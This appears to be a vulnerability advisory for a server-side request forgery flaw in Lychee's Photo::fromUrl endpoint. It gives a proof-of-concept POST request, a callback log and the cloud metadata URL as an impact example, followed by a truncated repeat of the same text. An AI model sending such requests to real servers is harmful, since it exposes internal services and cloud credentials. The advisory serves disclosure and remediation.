Summary
A critical Server-Side Request Forgery (SSRF) vulnerability exists in the /api/v2/Photo::fromUrl endpoint. This flaw lets an attacker instruct the application’s backend to make HTTP requests to any URL they choose. Consequently, internal network resources—such as localhost services or cloud-provider metadata endpoints—become reachable.
The endpoint takes a URL from the user and calls it server-side via fopen() without any safeguards.
There is no:
IP address validation (e.g., 127.0.0.1 is not blocked)
Allow-list, timeout, or size restrictions
Because of this, attackers can point the application at internal targets like http://localhost or http://169.254.169.254.
PoC
Start a simple HTTP server:
python3 -m http.server 4444
Send the following request to the Lychee app:
POST /api/v2/Photo::fromUrl HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Accept: application/json
X-XSRF-TOKEN: dummy
Cookie: lychee_session=dummy
Content-Length: 76
{
"urls": ["http://192.168.1.101:4444/ssrf-test"],
"album_id": null
}
Observe the server log:
172.18.0.2 - - [26/Jun/2025 09:18:14] "GET /ssrf-test HTTP/1.1" 200 -
Impact
Using this flaw, an attacker can perform internal port scans or retrieve sensitive cloud metadata with requests such as:
http://169.254.169.254/latest/meta-data
Mitigation
Implement strict validation of user-supplied URLs, blocking internal IP ranges and unsupported protocols.
Use allowlists for domains or IPs where possible.
Enforce request timeouts and size limits on fetched content
Summary
A critical Server-Side Request Forgery (SSRF) vulnerability exists in the /api/v2/Photo::fromUrl endpoint. This flaw lets an attacker instruct the application’s backend to make HTTP requests to any URL they choose. Consequently, internal network resources—such as localhost services or cloud-provider metadata endpoints—become reachable.
The endpoint takes a URL from the user and calls it server-side via fopen() without any safeguards.
There is no:
Because of this, attackers can point the application at internal targets like http://localhost or http://169.254.169.254.
PoC
Start a simple HTTP server:
python3 -m http.server 4444
Send the following request to the Lychee app:
Observe the server log:
172.18.0.2 - - [26/Jun/2025 09:18:14] "GET /ssrf-test HTTP/1.1" 200 -
Impact
Using this flaw, an attacker can perform internal port scans or retrieve sensitive cloud metadata with requests such as:
http://169.254.169.254/latest/meta-data
Mitigation